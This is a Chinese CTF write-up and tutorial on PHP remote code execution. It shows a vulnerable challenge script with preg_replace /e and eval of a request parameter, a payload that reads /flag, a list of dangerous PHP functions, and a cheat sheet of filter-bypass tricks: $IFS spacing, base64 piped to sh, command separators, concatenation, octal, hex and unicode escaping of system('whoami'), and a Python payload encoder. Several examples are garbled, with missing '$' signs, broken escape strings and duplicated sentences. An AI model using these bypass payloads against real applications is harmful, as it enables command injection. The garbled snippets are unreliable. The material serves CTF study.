CTF WEB总结之RCE(一)

624 阅读1分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第9天,点击查看活动详情

0x2、RCE 命令执行

eval、assert、system

一、preg_replace()的/e模式存在命令执行漏洞

例题:[BJDCTF2020]ZJCTF,不过如此

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
        @eval($_GET['cmd']);
}

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,这里的 \1 实际上指定的是第一个子匹配项,所以我们要做的就是换一个正则表达式,让其匹配到 {{phpinfo()}}** 即可执行 **phpinfo** 函数。这里我提供一个 **payload** : **\S*={phpinfo()}

为什么要匹配到 {{phpinfo()}} 或者 {phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 phpinfo()中的phpinfo()会被当做变量先执行,执行后,即变成{phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 {1} (phpinfo()成功执行返回true)

?\S*=${getFlag()}&cmd=system("cat /flag");

二、命令执行漏洞绕过方法#

exec()函数

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。

语法 : string exec(string command, string [array], int [return_var]);

传回值 : 字串

函式种类 : 作业系统与环境

system:调用系统命令函数

assert:assert能帮助我们执行一些php的指令,并且对于代码的规范不是很严格

eval:eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

passthru:passthru — 执行外部程序并且显示原始输出。

preg_replace:pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。

popen:popen() 函数打开进程文件指针,就跟c语言当中fopen函数差不多。

call_user_func() funcfunc 和p可控时就可命令执行(在func中放置命令执行函数)

call_user_func_array()

调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array ( callable callback,arraycallback , array param_arr ) : mixed

把第一个参数作为回调函数callback调用,把参数数组作param_arr为回调函数的的参数传入。跟array_map()相似

create_function()

创建一个匿名(lambda样式)函数

create_function ( string args,stringargs , string code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

array_map()

为数组的每个元素应用回调函数

array_map ( callable callback,arraycallback , array array , array ...$arrays ) : array

返回数组,是为array每个元素应用callback函数之后的数组。 array_map()返回一个array,数组内容为array1的元素按索引顺序为参数调用callback后的结果(有更多数组时,还会传入arrays的元素)。 callback函数形参的数量必须匹配array_map()实参中数组的数量。

array_filter()

用回调函数过滤数组中的单元

array_filter ( array array[,callablearray [, callable callback [, int $flag = 0 ]] ) : array

依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

usort()

使用用户自定义的比较函数对数组中的值进行排序

usort ( array &array,callablearray , callable value_compare_func ) : bool

命令执行漏洞的空格过滤

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS、<>、<这些都可以当做空格符作为代替。

一些命令分隔符:

linux中:%0a 、%0d 、; 、& 、| 、&&、||

windows中:%0a、&、|、%1a

花括号的别样用法:

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}

拼接绕过黑名单

a=l;b=s;aab

b=ag;a=fl;cat bba

字符串拼接绕过

字符串拼接绕过适用于绕过过滤具体关键字的限制

在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如name=(string)mochu7;,在这种情况下,name = (string)mochu7;,在这种情况下,name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

(p.h.p.i.n.f.o)();

(sy.(st).em)(whoami);

(sy.(st).em)(who.ami);

(s.y.s.t.e.m)("whoami");

.......

字符串转义绕过

以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)

以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")

以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串

注意这里转义后的字符必须双引号包裹传参

Payload处理脚本如下:

# -*- coding:utf-8 -*-

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\x" + hex(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to hex: "{}"".format(payload,res_payload))

def oct_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\" + oct(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to oct: "{}"".format(payload,res_payload))

def uni_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\u{{{0}}}".format(hex(ord(i))[2:])
		res_payload += i
	print("[+]'{}' Convert to unicode: "{}"".format(payload,res_payload))

if __name__ == '__main__':
	payload = 'phpinfo'
	hex_payload(payload)
	oct_payload(payload)
	uni_payload(payload)
payload:
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');

编码绕过

$(printf "\154\163") ==>ls

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==>cat /flag

内置函数访问绕过

get_defined_functions():返回所有已定义函数的数组

详情见:www.php.net/manual/zh/f…

利用这种方法首先还需要知道PHP的具体版本,因为每个版本的get_defined_functions()返回的值都是不一样的,这里以php7.4.3为准